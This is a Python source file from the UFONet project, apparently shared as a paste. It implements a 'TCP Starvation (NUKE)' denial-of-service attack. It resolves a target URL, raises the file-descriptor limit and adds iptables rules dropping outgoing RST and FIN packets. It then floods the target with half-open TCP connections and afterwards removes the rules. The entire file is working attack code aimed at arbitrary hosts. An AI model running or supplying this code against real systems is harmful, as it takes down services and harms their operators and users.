nuke.py 2.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import socket, select, os, time, resource
  11. try:
  12. from urlparse import urlparse
  13. except:
  14. from urllib.parse import urlparse
  15. # UFONet TCP Starvation (NUKE)
  16. def connect(ip, port):
  17. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18. s.setblocking(0)
  19. s.connect_ex((ip, port))
  20. return s
  21. def nukeize(ip, port, rounds):
  22. n=0
  23. try: # RFC793 will lacks an exception if reset is not sent
  24. resource.setrlimit(resource.RLIMIT_NOFILE, (100000, 100000)) # modify kernel ulimit to: 100000
  25. os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP"%(ip, port)) # modify IPTABLES
  26. os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP"%(ip, port))
  27. epoll = select.epoll()
  28. connections = {}
  29. for x in range (0,int(rounds)):
  30. try:
  31. n=n+1
  32. s = connect(ip, port)
  33. print("[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]")
  34. connections[s.fileno()] = s
  35. epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)
  36. except:
  37. print("[Error] [AI] [NUKE] Failed to engage with 'nuke' ["+str(n)+"]")
  38. os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %(ip, port)) # restore IPTABLES
  39. os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %(ip, port))
  40. except:
  41. print("[Error] [AI] [NUKE] Failing to engage... -> Is still target online? -> [Checking!]")
  42. class NUKE(object):
  43. def attacking(self, target, rounds):
  44. print("[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]")
  45. if target.startswith('http://'):
  46. target = target.replace('http://','')
  47. port = 80
  48. elif target.startswith('https://'):
  49. target = target.replace('https://','')
  50. port = 443
  51. try:
  52. ip = socket.gethostbyname(target)
  53. except:
  54. try:
  55. import dns.resolver
  56. r = dns.resolver.Resolver()
  57. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  58. url = urlparse(target)
  59. a = r.query(url.netloc, "A") # A record
  60. for rd in a:
  61. ip = str(rd)
  62. except:
  63. ip = target
  64. if ip == "127.0.0.1" or ip == "localhost":
  65. print("[Info] [AI] [NUKE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  66. return
  67. nukeize(ip, port, rounds) # attack with NUKE using threading